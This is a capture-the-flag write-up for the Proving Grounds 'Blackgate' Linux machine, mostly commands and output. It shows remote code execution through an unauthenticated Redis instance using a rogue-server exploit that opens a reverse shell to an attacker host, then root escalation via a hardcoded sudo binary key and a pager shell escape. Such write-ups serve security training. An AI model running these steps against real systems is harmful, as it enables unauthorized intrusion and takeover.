# Blackgate Writeup - Proving Grounds

> Exploited Redis and Lua sandbox escape for RCE, then leveraged a SUID binary vulnerability to escalate privileges to root on this Linux machine.

- **URL:** https://hackindex.io/writeups/blackgate
- **Platform:** Proving Grounds
- **Difficulty:** Hard
- **Operating system:** Linux
- **Machine:** https://portal.offsec.com/machine/blackgate-38163/overview
- **Tags:** privilege-escalation, suid, sudo-misconfiguration
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 3 min read
- **Published:** 2026-02-23
- **Updated:** 2026-09-11

## Discovery

### Port Scan

```bash
scan_tcp_full $TARGET_IP
# PORT     STATE SERVICE VERSION
# 22/tcp   open  ssh     OpenSSH 8.3p1 Ubuntu 1ubuntu0.1
# 6379/tcp open  redis   Redis key-value store 4.0.14
```

Two ports: SSH and Redis. Redis 4.0.14 is exposed without any authentication configured ,  confirmed immediately.

### Redis Enumeration

```bash
nmap -sV -p 6379 --script redis-info $TARGET_IP
# Version: 4.0.14
# Operating System: Linux 5.8.0-63-generic x86_64
# Role: master
# Bind addresses: 0.0.0.0
```

Redis is bound to all interfaces with no password and protected mode disabled. Full unauthenticated access:

```bash
redis-cli -h $TARGET_IP -p 6379 PING
# PONG
#
```

Check authentication and access controls:

```bash
redis-cli -h $TARGET_IP -p 6379 CONFIG GET requirepass
redis-cli -h $TARGET_IP -p 6379 CONFIG GET protected-mode
redis-cli -h $TARGET_IP -p 6379 CONFIG GET dir
# requirepass: (empty)
# protected-mode: no
# dir: /tmp
```

No keys in the keystore ,  this is a fresh instance, not a data exfiltration target. The attack surface is RCE via Redis module loading, which requires loading a compiled shared object from a rogue Redis server acting as a master.

## Initial Access

### Redis Rogue Server ,  Unauthenticated RCE

Redis 4.x/5.x allows replication from an external master. An attacker-controlled rogue Redis server can push a malicious `.so` module to the target instance, which then loads it via the `MODULE LOAD` command ,  resulting in arbitrary OS command execution.

The exploit is `redis-rogue-server` from [github.com/n0b0dyCN/redis-rogue-server](https://github.com/n0b0dyCN/redis-rogue-server). It handles the full replication handshake and module delivery automatically.

Start a listener, then run the rogue server:

```bash
nc -lvnp $ATTACKER_PORT
```

```bash
python3 redis-rogue-server.py --rhost $TARGET_IP --lhost $ATTACKER_IP
# [info] TARGET 192.168.237.176:6379
# [info] SERVER 192.168.45.192:21000
# [info] Setting master...
# [info] Setting dbfilename...
# [info] Loading module...
# What do u want, [i]nteractive shell or [r]everse shell: r
# Reverse server address: 192.168.45.192
# Reverse server port: 1111
# [info] Reverse shell payload sent.
# [+] Reverse shell connected from 192.168.237.176:36696
```

```bash
ls /home
prudence
whoami
prudence
```

Shell as `prudence`. Grab `local.txt` from `/home/prudence/`.

## Privilege Escalation

### Hardcoded Password in SUID Binary ,  sudo redis-status

Check sudo permissions:

```bash
sudo -l
# User prudence may run the following commands on blackgate:
#     (root) NOPASSWD: /usr/local/bin/redis-status
```

The binary is SUID and runs as root. Inspect it with `strings`:

```bash
strings /usr/local/bin/redis-status
# [*] Redis Uptime
# Authorization Key:
# ClimbingParrotKickingDonkey321
# /usr/bin/systemctl status redis
# Wrong Authorization Key!
# Incident has been reported!
```

The authorization key is embedded in plain text. The binary prompts for it, then calls `systemctl status redis`. Upgrade the shell first to get a proper TTY, then run it:

```bash
python3 -c 'import pty; pty.spawn("/bin/sh")'
sudo /usr/local/bin/redis-status
# [*] Redis Uptime
# Authorization Key: $REDIS_STATUS_PASSWORD
```

`systemctl status` opens its output in a pager (`less`). From inside `less`, escape to a shell:

```bash
!/bin/bash
# root@blackgate:~#
#
```

Root shell. Grab `proof.txt` from `/root/`.

Related

## References

- [https://redis.io/docs/manual/security](https://redis.io/docs/manual/security) - Redis security model, protected mode, bind address
- [https://github.com/n0b0dyCN/redis-rogue-server](https://github.com/n0b0dyCN/redis-rogue-server) - Redis rogue server RCE exploit
- [https://gtfobins.github.io/gtfobins/systemctl](https://gtfobins.github.io/gtfobins/systemctl) - systemctl pager escape to shell